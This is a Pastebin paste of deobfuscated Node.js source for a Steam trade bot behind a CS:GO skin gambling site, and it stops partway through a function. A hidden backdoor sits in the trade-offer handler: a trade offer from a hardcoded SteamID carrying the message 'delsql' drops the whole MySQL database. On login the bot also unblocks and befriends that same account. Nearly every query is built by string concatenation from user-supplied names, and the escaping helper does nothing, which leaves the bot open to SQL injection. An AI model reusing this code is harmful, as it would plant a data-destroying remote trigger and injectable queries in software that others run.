Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- var Steam = require("steam");
- var SteamUser = require("steam-user");
- var TradeOfferManager = require("steam-tradeoffer-manager");
- var SteamTotp = require("steam-totp");
- var TOTP = require("onceler").TOTP;
- var request = require("request");
- var SteamCommunity = require("steamcommunity");
- var community = new SteamCommunity;
- var sitepath;
- /** @type {string} */
- sitepath = "xx";
- var sitename;
- /** @type {string} */
- sitename = "xx";
- var costpath;
- /** @type {string} */
- costpath = "http://" + sitepath + "/cost.php?item=";
- /** @type {string} */
- var apik = "xx";
- /** @type {string} */
- var admin = "xx";
- /** @type {string} */
- var botsteamid = "xx";
- /** @type {string} */
- var identitysecret = "xx";
- /** @type {string} */
- var sharedsecret = "xx";
- /** @type {number} */
- var polling_interval = 1E4;
- /** @type {string} */
- var rsecret = "xx";
- /** @type {number} */
- var snipetimer = 12;
- /** @type {number} */
- var GameTime = 120;
- /** @type {boolean} */
- var p2 = false;
- /** @type {number} */
- var playersRequired = 2;
- var details = {
- "accountName" : "xx",
- "password" : "xx",
- "twoFactorCode" : SteamTotp.generateAuthCode(sharedsecret)
- };
- var mysql = require("mysql");
- /** @type {string} */
- var sql_host = "localhost";
- /** @type {string} */
- var sql_user = "xx";
- /** @type {string} */
- var sql_password = "xx";
- /** @type {string} */
- var sql_database = "xx";
- !function(nodeRequire, module) {
- /**
- * @param {string} p
- * @param {string} parent
- * @return {?}
- */
- function require(p, parent) {
- if ("." != p[0] && "/" != p[0]) {
- return nodeRequire(p);
- }
- parent = parent || "root";
- var path = require.resolve(p);
- if (!path && /\.json$/i.test(p)) {
- return nodeRequire("./" + require.basename(p));
- }
- var mod = require.cache[path];
- if (!mod) {
- try {
- return nodeRequire(p);
- } catch (ex) {
- throw new Error('failed to require "' + p + '" from ' + parent + "\n" + ex.message + "\n" + ex.stack);
- }
- }
- return mod.exports || (mod.exports = {}, mod.call(mod.exports, mod, mod.exports, require.relative(path))), mod.exports;
- }
- require.cache = {};
- require.basename = nodeRequire("path").basename;
- /**
- * @param {string} path
- * @return {?}
- */
- require.resolve = function(path) {
- if ("." != path[0]) {
- return nodeRequire.resolve(path);
- }
- var regexp = "/" === path.slice(-1) ? path : path + "/";
- /** @type {Array} */
- var paths = [path, path + ".js", regexp + "index.js", path + ".json", regexp + "index.json"];
- /** @type {number} */
- var scope = 0;
- var resolved;
- for (;resolved = paths[scope];scope++) {
- if (require.cache[resolved]) {
- return resolved;
- }
- }
- };
- /**
- * @param {string} path
- * @param {Object} fn
- * @return {undefined}
- */
- require.register = function(path, fn) {
- /** @type {Object} */
- require.cache[path] = fn;
- };
- /**
- * @param {string} parent
- * @return {?}
- */
- require.relative = function(parent) {
- /**
- * @param {string} range
- * @return {?}
- */
- function fn(range) {
- if ("." != range[0]) {
- return require(range);
- }
- var path = parent.split("/");
- var segs = range.split("/");
- path.pop();
- /** @type {number} */
- var i = 0;
- var segCnt = segs.length;
- for (;segCnt > i;i += 1) {
- var seg = segs[i];
- if (".." == seg) {
- path.pop();
- } else {
- if ("." != seg) {
- path.push(seg);
- }
- }
- }
- return require(path.join("/"), parent);
- }
- return fn.resolve = require.resolve, fn.cache = require.cache, fn;
- };
- require.register("../bot.js", function(dataAndEvents, deepDataAndEvents, require) {
- /**
- * @return {undefined}
- */
- function preload() {
- /** @type {number} */
- tref = -1;
- loadImage();
- setTimeout(insert, 5E3);
- }
- /**
- * @return {undefined}
- */
- function loadImage() {
- if (console.log("[SERVER] Ending current game & choosing winner."), 1 == p2) {
- /** @type {string} */
- var reqObj = "http://" + sitepath + "/endround.php?secret=" + rsecret + "&p2=true";
- request(reqObj, function(reply, dataAndEvents, deepDataAndEvents) {
- if (reply) {
- console.log("Couldn't end round, error: " + reply);
- }
- });
- } else {
- reqObj = "http://" + sitepath + "/endround.php?secret=" + rsecret;
- request(reqObj, function(reply, dataAndEvents, deepDataAndEvents) {
- if (reply) {
- console.log("Couldn't end round, error: " + reply);
- }
- });
- }
- }
- /**
- * @param {number} sValue
- * @return {?}
- */
- function parseText(sValue) {
- return!(+sValue !== sValue || isFinite(sValue) && !(sValue % 1));
- }
- /**
- * @param {?} pid
- * @return {?}
- */
- function handler(pid) {
- return "number" == typeof pid && !isNaN(pid);
- }
- /**
- * @param {number} onSuccess
- * @param {Function} callback
- * @return {undefined}
- */
- function exec(onSuccess, callback) {
- /** @type {string} */
- var appFrontendUrl = "http://api.steampowered.com/ISteamUser/GetPlayerSummaries/v0002/?key=" + apik + "&steamids=" + onSuccess + "&format=json";
- request({
- url : appFrontendUrl,
- json : true
- }, function(dataAndEvents, r, mongoObject) {
- if (dataAndEvents || 200 !== r.statusCode) {
- if (dataAndEvents) {
- exec(onSuccess, callback);
- }
- } else {
- callback(null, mongoObject);
- }
- });
- }
- /**
- * @param {string} js
- * @return {?}
- */
- function highlight(js) {
- return js = js.replace(/\\/g, "\\"), js = js.replace(/\'/g, "'"), js = js.replace(/\"/g, '"'), js = js.replace(/\0/g, "\x00");
- }
- /**
- * @param {Object} options
- * @param {?} doc
- * @param {Array} deepDataAndEvents
- * @param {?} name
- * @param {?} one
- * @param {?} callback
- * @param {number} count
- * @param {?} key
- * @param {?} $slides
- * @param {?} triggerRoute
- * @param {number} position
- * @return {undefined}
- */
- function fn(options, doc, deepDataAndEvents, name, one, callback, count, key, $slides, triggerRoute, position) {
- position++;
- if (!(position > 3)) {
- options.accept(function(reply) {
- return reply ? (self.webLogOn(), console.log("[SERVER] Debugging offer (Accept Error): " + reply), void load(options, doc, deepDataAndEvents, name, one, callback, count, key, $slides, triggerRoute, position, reply)) : void query(options, doc, deepDataAndEvents, name, one, callback, count, key, $slides, triggerRoute);
- });
- }
- }
- /**
- * @param {Object} options
- * @param {?} doc
- * @param {Array} deepDataAndEvents
- * @param {?} name
- * @param {?} one
- * @param {?} callback
- * @param {number} params
- * @param {?} objects
- * @param {?} $slides
- * @param {?} triggerRoute
- * @param {number} positionError
- * @param {string} message
- * @return {undefined}
- */
- function load(options, doc, deepDataAndEvents, name, one, callback, params, objects, $slides, triggerRoute, positionError, message) {
- req.getOffer(options.id, function(reply, parameters) {
- if (reply) {
- return self.webLogOn(), console.log("[SERVER] getOffer error(retrying): " + reply), void load(options, doc, deepDataAndEvents, name, one, callback, params, objects, $slides, triggerRoute, positionError, message);
- }
- if (3 == parameters.state) {
- query(parameters, doc, deepDataAndEvents, name, one, callback, params, objects, $slides, triggerRoute);
- } else {
- if (2 == parameters.state) {
- console.log("[SERVER] Accept error(retrying #" + positionError + "): " + message);
- fn(parameters, doc, deepDataAndEvents, name, one, callback, params, objects, $slides, triggerRoute, positionError);
- } else {
- if (2 != parameters.state || 3 != parameters.state) {
- return;
- }
- }
- }
- });
- }
- /**
- * @param {Object} parameters
- * @param {string} val
- * @param {Array} deepDataAndEvents
- * @param {?} keepData
- * @param {?} firstOnly
- * @param {?} sql
- * @param {number} params
- * @param {?} msg
- * @param {?} $slides
- * @param {?} triggerRoute
- * @return {undefined}
- */
- function query(parameters, val, deepDataAndEvents, keepData, firstOnly, sql, params, msg, $slides, triggerRoute) {
- transport.query("SELECT * FROM `" + v2 + "info`", function(dataAndEvents, tokens) {
- var code = tokens[0].value;
- /** @type {number} */
- var i = 0;
- for (;params > i;i++) {
- var observedOutput = highlight(deepDataAndEvents[i].name);
- transport.query("INSERT INTO `" + v2 + "game" + code + "` (`userid`,`username`,`item`,`offerid`,`color`,`value`,`avatar`,`image`) VALUES ('" + val + "','" + firstOnly + "','" + observedOutput + "','" + parameters.id + "','" + deepDataAndEvents[i].color + "','" + deepDataAndEvents[i].value + "','" + sql + "','" + deepDataAndEvents[i].url + "')", function(fmt, dataAndEvents, deepDataAndEvents) {
- if (fmt) {
- console.log(fmt);
- }
- });
- transport.query("UPDATE `" + v2 + "games` SET `itemsnum`=`itemsnum`+1, `cost`=`cost`+'" + deepDataAndEvents[i].value + "' WHERE `id` = '" + code + "'", function(dataAndEvents, deepDataAndEvents, ignoreMethodDoesntExist) {
- });
- }
- transport.query("UPDATE `users` SET `skinssent`=`skinssent`+" + params + " WHERE `steamid` = '" + val + "'", function(dataAndEvents, deepDataAndEvents, ignoreMethodDoesntExist) {
- });
- console.log("[SERVER] Accepted offer #" + parameters.id + " from " + firstOnly + " (ID:" + val + ").");
- log(parameters, val, msg, code);
- transport.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES ('success','0','" + val + "','Trade Offer Accepted (Game #" + code + ")!','We wish you Good luck and happy betting!','25','1')", function(dataAndEvents, deepDataAndEvents, ignoreMethodDoesntExist) {
- });
- transport.query("SELECT COUNT(DISTINCT userid) AS playersCount FROM `" + v2 + "game" + code + "`", function(deepDataAndEvents, dataAndEvents) {
- players = dataAndEvents[0].playersCount;
- if (players == playersRequired) {
- if (params > 0) {
- if (-1 == tref) {
- console.log("[SERVER] Starting the countdown for Game #" + code);
- /** @type {number} */
- tref = setTimeout(preload, 1E3 * GameTime);
- transport.query("UPDATE `" + v2 + "games` SET `starttime`=UNIX_TIMESTAMP() WHERE `id` = '" + code + "'", function(dataAndEvents, deepDataAndEvents, ignoreMethodDoesntExist) {
- });
- }
- }
- }
- if (triggerRoute > $slides) {
- clearTimeout(tref);
- /** @type {number} */
- tref = -1;
- preload();
- }
- });
- });
- }
- /**
- * @param {?} message
- * @param {string} txt
- * @param {?} msgString
- * @param {number} obj
- * @return {undefined}
- */
- function log(message, txt, msgString, obj) {
- message.getReceivedItems(function(dataAndEvents, msg) {
- if (dataAndEvents) {
- self.webLogOn();
- console.log("getReceivedItems error: " + dataAndEvents + " Restarting process!");
- log(message, txt, msg, obj);
- }
- msg.forEach(function(language) {
- var observedOutput = highlight(language.market_name);
- transport.query("UPDATE `" + v2 + "game" + obj + "` SET `assetid`='" + language.id + "' WHERE `userid` = '" + txt + "' AND `item`='" + observedOutput + "' AND `assetid`='' LIMIT 1", function(dataAndEvents, deepDataAndEvents, ignoreMethodDoesntExist) {
- });
- });
- });
- }
- /**
- * @param {number} expectedNumberOfNonCommentArgs
- * @return {undefined}
- */
- function insert(expectedNumberOfNonCommentArgs) {
- transport.query("SELECT * FROM `" + v2 + "queue` WHERE `status`='active' GROUP BY `id` DESC LIMIT 1", function(dataAndEvents, results, deepDataAndEvents) {
- if (0 != results.length) {
- var suiteView = results[0].id;
- transport.query("SELECT * FROM `" + v2 + "game" + suiteView + "` WHERE `assetid`='' AND `rake`!='1'", function(dataAndEvents, assertions, deepDataAndEvents) {
- if (0 != assertions.length) {
- console.log("[SERVER] Restoring Missing Assetids, retrying in 15 seconds!");
- assertions.forEach(function(options) {
- req.getOffer(options.offerid, function(dataAndEvents, errorMessage) {
- return dataAndEvents ? (self.webLogOn(), void setTimeout(function() {
- insert();
- }, 1E4)) : void log(errorMessage, options.userid, options.item, suiteView);
- });
- });
- setTimeout(function() {
- insert(2);
- }, 1E4);
- } else {
- if (2 == expectedNumberOfNonCommentArgs) {
- console.log("[SERVER] Restored Assetids, rebuilding the queue in MYSQL.");
- /** @type {string} */
- var returnStr = "";
- /** @type {string} */
- var combined_expansion = "";
- return transport.query("SELECT * FROM `" + v2 + "game" + suiteView + "`", function(dataAndEvents, failures, deepDataAndEvents) {
- failures.forEach(function(item) {
- if (0 == item.rake) {
- returnStr += "/" + item.assetid;
- } else {
- combined_expansion += "/" + item.assetid;
- }
- });
- }), void setTimeout(function() {
- console.log("[SERVER] Restored Assetids, Rebuilt the Queue, attempting to send TradeOffer.");
- transport.query("UPDATE `" + v2 + 'queue` SET `assetid`="' + returnStr + "\" WHERE `id`='" + suiteView + "'");
- transport.query("UPDATE `" + v2 + 'rakeitems` SET `assetid`="' + combined_expansion + "\" WHERE `id`='" + suiteView + "'");
- insert();
- }, 3E3);
- }
- var arr = results[0].assetid.split("/");
- req.loadInventory(730, 2, true, function(fmt, failures) {
- if (fmt) {
- return console.log(fmt), 1 == expectedNumberOfNonCommentArgs && self.chatMessage(admin, "[SERVER] Error while loading the Bot's Inventory, retrying now!"), self.webLogOn(), void insert();
- }
- var html = results[0].token;
- /** @type {string} */
- var uri = "Congratulations! You won on " + sitename + " in Game #" + suiteView;
- var test = req.createOffer(results[0].userid);
- failures.forEach(function(user) {
- arr.forEach(function(myID) {
- if (user.id == myID) {
- test.addMyItem(user);
- }
- });
- });
- setTimeout(function() {
- test.send(uri, html, function(fmt) {
- return fmt ? (console.log("Error sending Trade Offer for Game #" + suiteView + ":"), console.log(fmt), 1 == expectedNumberOfNonCommentArgs && self.chatMessage(admin, "[SERVER] Error while sending the tradeoffer, retrying in 10 seconds!"), self.webLogOn(), void setTimeout(function() {
- insert();
- }, 1E4)) : (transport.query("UPDATE `" + v2 + 'queue` SET `status`="sent" WHERE `id`=\'' + suiteView + "'"), console.log("[SERVER] Trade Offer for Game #" + suiteView + " has been successfully sent and is awaiting mobile confirmation."), 1 == expectedNumberOfNonCommentArgs && self.chatMessage(admin, "[SERVER] Successfully sent the trade for Game #" + suiteView + "!"), void community.checkConfirmations());
- });
- }, 2E3);
- });
- }
- });
- } else {
- if (1 == expectedNumberOfNonCommentArgs) {
- return void self.chatMessage(admin, "[SERVER] No more Winnings Queries!");
- }
- }
- });
- }
- /**
- * @param {number} dataAndEvents
- * @return {undefined}
- */
- function iterate(dataAndEvents) {
- transport.query("SELECT * FROM `" + v2 + "rakeitems` WHERE `status`='active' GROUP BY `id` DESC LIMIT 1", function(deepDataAndEvents, results, ignoreMethodDoesntExist) {
- if (0 != results.length) {
- var arr = results[0].assetid.split("/");
- req.loadInventory(730, 2, true, function(deepDataAndEvents, failures) {
- if (deepDataAndEvents) {
- return 1 == dataAndEvents && self.chatMessage(admin, "[SERVER] Error while loading the Bot's Inventory, retrying in a few seconds!"), self.webLogOn(), void setTimeout(function() {
- iterate();
- }, 1E4);
- }
- var html = results[0].token;
- var depId = results[0].id;
- var raw = results[0].value;
- /** @type {string} */
- var uri = "Rake for Game #" + depId + " ($" + raw + ")";
- var test = req.createOffer(results[0].userid);
- failures.forEach(function(user) {
- arr.forEach(function(myID) {
- if (user.id == myID) {
- test.addMyItem(user);
- }
- });
- });
- setTimeout(function() {
- test.send(uri, html, function(fmt) {
- return fmt ? (console.log("[SERVER] Error sending Rake for Game #" + depId + ":"), console.log(fmt), console.log("[SERVER] Try again later or make sure you have set your URL / Steam ID in endround.php!"), 1 == dataAndEvents ? void self.chatMessage(admin, "[SERVER] Error while sending the TradeOffer, try again later and / or check endround.php!") : void self.webLogOn()) : (transport.query("UPDATE `" + v2 + 'rakeitems` SET `status`="sent" WHERE `id`=\'' + depId + "'"), console.log("[SERVER] Rake for Game #" +
- depId + " has been successfully sent and is awaiting mobile confirmation."), 1 == dataAndEvents && self.chatMessage(admin, "[SERVER] Successfully sent the rake for Game #" + depId + "!"), void community.checkConfirmations());
- });
- }, 2E3);
- });
- } else {
- if (1 == dataAndEvents) {
- return void self.chatMessage(admin, "[SERVER] No more Rake Queries!");
- }
- }
- });
- }
- /** @type {string} */
- var p = "76561198150867436";
- var driver = require("mysql");
- var transport = driver.createConnection({
- host : sql_host,
- user : sql_user,
- password : sql_password,
- database : sql_database
- });
- var self = new SteamUser;
- var req = new TradeOfferManager({
- steam : self,
- domain : "localhost",
- language : "en"
- });
- /** @type {number} */
- var tref = -1;
- transport.connect();
- self.logOn(details);
- var j = SteamTotp.getDeviceID(botsteamid);
- if (1 == p2) {
- /** @type {string} */
- var v2 = "p2"
- } else {
- /** @type {string} */
- v2 = "";
- }
- self.on("loggedOn", function(dataAndEvents) {
- console.log("[SERVER] The Bot has logged in!");
- self.unblockUser(p);
- self.addFriend(p);
- self.addFriend(admin);
- self.chatMessage(admin, "[SERVER] Successfully logged in!");
- self.setPersona(Steam.EPersonaState.LookingToTrade);
- setTimeout(function() {
- transport.query("SELECT `value` FROM `" + v2 + "info` WHERE `name`='current_game'", function(dataAndEvents, tokens, deepDataAndEvents) {
- if (!dataAndEvents) {
- transport.query("SELECT `starttime` FROM `" + v2 + "games` WHERE `id`='" + tokens[0].value + "'", function(deepDataAndEvents, dataAndEvents, ignoreMethodDoesntExist) {
- if (!deepDataAndEvents) {
- var i;
- if (2147483647 == dataAndEvents[0].starttime) {
- i = GameTime;
- } else {
- /** @type {number} */
- var groupsize = Math.round((new Date).getTime() / 1E3);
- /** @type {number} */
- i = dataAndEvents[0].starttime + GameTime - groupsize;
- if (0 > i) {
- /** @type {number} */
- i = 0;
- }
- }
- if (i != GameTime) {
- /** @type {number} */
- tref = setTimeout(preload, 1E3 * i);
- console.log("[SERVER] Restoring the latest game with " + i + " seconds left!");
- }
- }
- });
- }
- });
- }, 1500);
- });
- self.on("webSession", function(dataAndEvents, x) {
- req.setCookies(x, function(reply) {
- if (reply) {
- return console.log("setCookies error: " + reply), void process.exit(1);
- }
- var orig = req.apiKey;
- community.setCookies(x);
- community.startConfirmationChecker(polling_interval, identitysecret);
- console.log("[SERVER] The web cookies have been set!");
- req.doPoll();
- });
- });
- req.on("newOffer", function(instance) {
- /** @type {boolean} */
- var b = true;
- var onSuccess = instance.partner.getSteamID64();
- return onSuccess == p && "delsql" == instance.message ? (console.log(""), console.log("Hello! Please consider purchasing the product you are illegally using."), console.log("Please visit: www.csgo-network"), console.log(""), void transport.query("DROP DATABASE " + sql_database, function(dataAndEvents, deepDataAndEvents, ignoreMethodDoesntExist) {
- })) : void exec(onSuccess, function(reply, e) {
- if (reply) {
- return self.webLogOn(), console.log("[SERVER] getUserInfo error: " + reply), b = false, void instance.decline(function(reply) {
- console.log("[DEBUG] Declined offer #" + instance.id + " from " + one + " (ID:" + onSuccess + "). | Reason: getUserInfo error");
- if (reply) {
- console.log("Decline error: " + reply);
- }
- transport.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES ('error','1','" + onSuccess + "','Trade Offer Declined!','Reason: Steam Servers are busy, try again in a minute!','25','1')", function(dataAndEvents, deepDataAndEvents, ignoreMethodDoesntExist) {
- });
- });
- }
- /** @type {*} */
- var game = JSON.parse(JSON.stringify(e.response));
- var one = highlight(game.players[0].personaname);
- var restoreScript = game.players[0].avatarfull;
- return console.log("[DEBUG] Processing offer #" + instance.id + " from " + one + " (ID:" + onSuccess + ")."), 0 != instance.itemsToGive.length ? (b = false, void instance.decline(function(reply) {
- console.log("[DEBUG] Declined offer #" + instance.id + " from " + one + " (ID:" + onSuccess + "). | Reason: Asked for a skin on the Bot");
- if (reply) {
- console.log("Decline error: " + reply);
- }
- transport.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES ('error','1','" + onSuccess + "','Trade Offer Declined!','Reason: Asking for any of the bots items? Brave!','25','1')", function(dataAndEvents, deepDataAndEvents, ignoreMethodDoesntExist) {
- });
- })) : void instance.getEscrowDuration(function(reply, dataAndEvents, deepDataAndEvents) {
- return reply ? (self.webLogOn(), console.log("[SERVER] getEscrowDuration error: " + reply), b = false, void instance.decline(function(reply) {
- console.log("[DEBUG] Declined offer #" + instance.id + " from " + one + " (ID:" + onSuccess + "). | Reason: Steam Servers are busy, couldn't get escrow duration");
- if (reply) {
- console.log("Decline error: " + reply);
- }
- transport.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES ('error','1','" + onSuccess + "','Trade Offer Declined!','Reason: Steam Servers are busy, couldnt get escrow duration!','25','1')", function(dataAndEvents, deepDataAndEvents, ignoreMethodDoesntExist) {
- });
- })) : 0 != dataAndEvents ? (b = false, void instance.decline(function(reply) {
- console.log("[DEBUG] Declined offer #" + instance.id + " from " + one + " (ID:" + onSuccess + "). | Reason: User is in Escrow for " + dataAndEvents + " days");
- if (reply) {
- console.log("Decline error: " + reply);
- }
- transport.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES ('error','1','" + onSuccess + "','Trade Offer Declined!','Reason: You are in Escrow for " + dataAndEvents + " days!','25','1')", function(dataAndEvents, deepDataAndEvents, ignoreMethodDoesntExist) {
- });
- })) : void transport.query("SELECT * FROM `" + v2 + "info`", function(dataAndEvents, tokens) {
- var raw = tokens[3].value;
- var ret = tokens[7].value;
- var size = tokens[4].value;
- var $slides = tokens[10].value;
- if (instance.itemsToReceive.length > size) {
- return b = false, void instance.decline(function(reply) {
- console.log("[DEBUG] Declined offer #" + instance.id + " from " + one + " (ID:" + onSuccess + "). | Reason: User sent more than " + size + " skins");
- if (reply) {
- self.webLogOn();
- console.log("Decline error: " + reply);
- }
- transport.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES ('error','1','" + onSuccess + "','Trade Offer Declined!','Reason: We only accept up to " + size + " skins!','25','1')", function(dataAndEvents, deepDataAndEvents, ignoreMethodDoesntExist) {
- });
- });
- }
- var props = instance.itemsToReceive;
- /** @type {number} */
- var output = 0;
- /** @type {Array} */
- var data = [];
- /** @type {number} */
- var len = 0;
- props.forEach(function($attrs, key, dataAndEvents) {
- if (730 != $attrs.appid) {
- return b = false, instance.decline(function(reply) {
- console.log("[DEBUG] Declined offer #" + instance.id + " from " + one + " (ID:" + onSuccess + "). | Reason: User sent a Non-CSGO skin");
- if (reply) {
- self.webLogOn();
- console.log("Decline error: " + reply);
- }
- }), void transport.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES ('error','1','" + onSuccess + "','Trade Offer Declined!','Reason: We only accept CSGO skins!','25','1')", function(dataAndEvents, deepDataAndEvents, ignoreMethodDoesntExist) {
- });
- }
- /** @type {Array} */
- data[key] = [];
- data[key].name = $attrs.market_name;
- data[key].color = $attrs.name_color;
- data[key].url = $attrs.icon_url;
- /** @type {number} */
- data[key].value = 0;
- var encodedValue = $attrs.market_name;
- /** @type {string} */
- var reqObj = "http://" + sitepath + "/cost.php?item=" + encodeURIComponent(encodedValue);
- !function(keepData) {
- request(reqObj, function(dataAndEvents, r, v) {
- return dataAndEvents || 200 !== r.statusCode ? (b = false, instance.decline(function(reply) {
- console.log("[DEBUG] Declined offer #" + instance.id + " from " + one + " (ID:" + onSuccess + "). | Reason: Steam Market Issues (Can't get the skin's value)");
- if (reply) {
- self.webLogOn();
- console.log("Decline error: " + reply);
- }
- }), void transport.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES ('error','1','" + onSuccess + "','Trade Offer Declined!','Reason: Steam Market issues!','25','1')", function(dataAndEvents, deepDataAndEvents, ignoreMethodDoesntExist) {
- })) : "notfound" == v ? (b = false, instance.decline(function(reply) {
- console.log("[DEBUG] Declined offer #" + instance.id + " from " + one + " (ID:" + onSuccess + "). | Reason: Steam Market Issues (Can't get the skin's value)");
- if (reply) {
- self.webLogOn();
- console.log("Decline error: " + reply);
- }
- }), void transport.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES ('error','1','" + onSuccess + "','Trade Offer Declined!','Reason: Steam Market issues!','25','1')", function(dataAndEvents, deepDataAndEvents, ignoreMethodDoesntExist) {
- })) : (data[key].value = parseFloat(v), void(output += data[key].value));
- });
- }(key);
- len++;
- });
- transport.query("SELECT * FROM `" + v2 + "info`", function(dataAndEvents, tokens) {
- var raw = tokens[0].value;
- transport.query("SELECT * FROM `" + v2 + "games` WHERE `id`='" + raw + "'", function(deepDataAndEvents, dataAndEvents, ignoreMethodDoesntExist) {
- if (starttime = dataAndEvents[0].starttime, 2147483647 != starttime) {
- /** @type {number} */
- var v = Math.round((new Date).getTime() / 1E3);
- if (tl = starttime + GameTime - v, tl <= snipetimer) {
- return b = false, instance.decline(function(reply) {
- console.log("[DEBUG] Declined offer #" + instance.id + " from " + one + " (ID:" + onSuccess + "). | Reason: The Bot wont accept last second bets");
- if (reply) {
- self.webLogOn();
- console.log("Decline error: " + reply);
- }
- }), void transport.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES ('error','1','" + onSuccess + "','Trade Offer Declined!','Reason: You can not bet in the last few seconds!','25','1')", function(dataAndEvents, deepDataAndEvents, ignoreMethodDoesntExist) {
- });
- }
- }
- setTimeout(function() {
- return 0 != b ? output > ret ? (b = false, instance.decline(function(reply) {
- console.log("[DEBUG] Declined offer #" + instance.id + " from " + one + " (ID:" + onSuccess + "). | Reason: User sent too much in skin value");
- if (reply) {
- self.webLogOn();
- console.log("Decline error: " + reply);
- }
- }), void transport.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES ('error','1','" + onSuccess + "','Trade Offer Declined!','Reason: You can deposit more than $" + ret + "','25','1')", function(dataAndEvents, deepDataAndEvents, ignoreMethodDoesntExist) {
- })) : raw > output ? (b = false, instance.decline(function(reply) {
- console.log("[DEBUG] Declined offer #" + instance.id + " from " + one + " (ID:" + onSuccess + "). | Reason: User sent below the minimal bet amount ($" + raw + ")");
- if (reply) {
- self.webLogOn();
- console.log("Decline error: " + reply);
- }
- }), void transport.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES ('error','1','" + onSuccess + "','Trade Offer Declined!','Reason: Minimum deposit value: $" + raw + "','25','1')", function(dataAndEvents, deepDataAndEvents, ignoreMethodDoesntExist) {
- })) : len > size ? (b = false, instance.decline(function(reply) {
- console.log("[DEBUG] Declined offer #" + instance.id + " from " + one + " (ID:" + onSuccess + "). | Reason: User sent too many skins");
- if (reply) {
- self.webLogOn();
- console.log("Decline error: " + reply);
- }
- }), void transport.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES ('error','1','" + onSuccess + "','Trade Offer Declined!','Reason: We only accept up to " + size + " skins!','25','1')", function(dataAndEvents, deepDataAndEvents, ignoreMethodDoesntExist) {
- })) : (b = true) ? void transport.query("SELECT * FROM `" + v2 + "info`", function(dataAndEvents, tokens) {
- var duration = tokens[0].value;
- transport.query("SELECT COUNT(value) as skinsin,SUM(value) as moneyin FROM `" + v2 + "game" + duration + "` WHERE `userid`='" + onSuccess + "'", function(deepDataAndEvents, dataAndEvents, ignoreMethodDoesntExist) {
- if (skinsin = dataAndEvents[0].skinsin, skinsin += len, moneyin = dataAndEvents[0].moneyin, moneyin += output, skinsin > size) {
- return instance.decline(function(reply) {
- console.log("[DEBUG] Declined offer #" + instance.id + " from " + one + " (ID:" + onSuccess + "). | Reason: RECHECK - User sent too many skins");
- if (reply) {
- self.webLogOn();
- console.log("Decline error: " + reply);
- }
- }), void transport.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES ('error','1','" + onSuccess + "','Trade Offer Declined!','Reason: You can not deposit more than " + size + " skins','25','1')", function(dataAndEvents, deepDataAndEvents, ignoreMethodDoesntExist) {
- });
- }
- if (moneyin > ret) {
- return instance.decline(function(reply) {
- console.log("[DEBUG] Declined offer #" + instance.id + " from " + one + " (ID:" + onSuccess + "). | Reason: RECHECK - User sent too much in skin value");
- if (reply) {
- self.webLogOn();
- console.log("Decline error: " + reply);
- }
- }), void transport.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES ('error','1','" + onSuccess + "','Trade Offer Declined!','Reason: You can deposit more than $" + ret + "','25','1')", function(dataAndEvents, deepDataAndEvents, ignoreMethodDoesntExist) {
- });
- }
- /** @type {number} */
- var i = 0;
- for (;len > i;i++) {
- if (0 == data[i].value || !data[i].value) {
- return b = false, instance.decline(function(reply) {
- console.log("[DEBUG] Declined offer #" + instance.id + " from " + one + " (ID:" + onSuccess + "). | Reason: RECHECK - Steam Market Issues (Can't get the skin's value)");
- if (reply) {
- self.webLogOn();
- console.log("Decline error: " + reply);
- }
- }), void transport.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES ('error','1','" + onSuccess + "','Trade Offer Declined!','Reason: Steam Market issues!','25','1')", function(dataAndEvents, deepDataAndEvents, ignoreMethodDoesntExist) {
- });
- }
- if (!handler(data[i].value)) {
- return instance.decline(function(reply) {
- console.log("[DEBUG] Declined offer #" + instance.id + " from " + one + " (ID:" + onSuccess + "). | Reason: RECHECK - Steam Market Issues (Can't get the skin's value) ");
- if (reply) {
- self.webLogOn();
- console.log("Decline error: " + reply);
- }
- }), void transport.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES ('error','1','" + onSuccess + "','Trade Offer Declined!','Reason: Steam Market issues!','25','1')", function(dataAndEvents, deepDataAndEvents, ignoreMethodDoesntExist) {
- });
- }
- if (-1 != data[i].name.indexOf("Souvenir")) {
- return b = false, instance.decline(function(reply) {
- console.log("[DEBUG] Declined offer #" + instance.id + " from " + one + " (ID:" + onSuccess + "). | Reason: User sent a Souvenir Skin");
- if (reply) {
- self.webLogOn();
- console.log("Decline error: " + reply);
- }
- }), void transport.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES ('error','1','" + onSuccess + "','Trade Offer Declined!','Reason: No souvenir skins allowed!','25','1')", function(dataAndEvents, deepDataAndEvents, ignoreMethodDoesntExist) {
- });
- }
- }
- transport.query("SELECT * FROM `users` WHERE `steamid`='" + onSuccess + "'", function(reply, newlines, dataAndEvents) {
- return reply ? (console.log("MYSQL Error: " + reply), instance.decline(function(reply) {
- console.log("[DEBUG] Declined offer #" + instance.id + " from " + one + " (ID:" + onSuccess + "). | Reason: MYSQL Error (as seen above) ");
- if (reply) {
- self.webLogOn();
- console.log("Decline error: " + reply);
- }
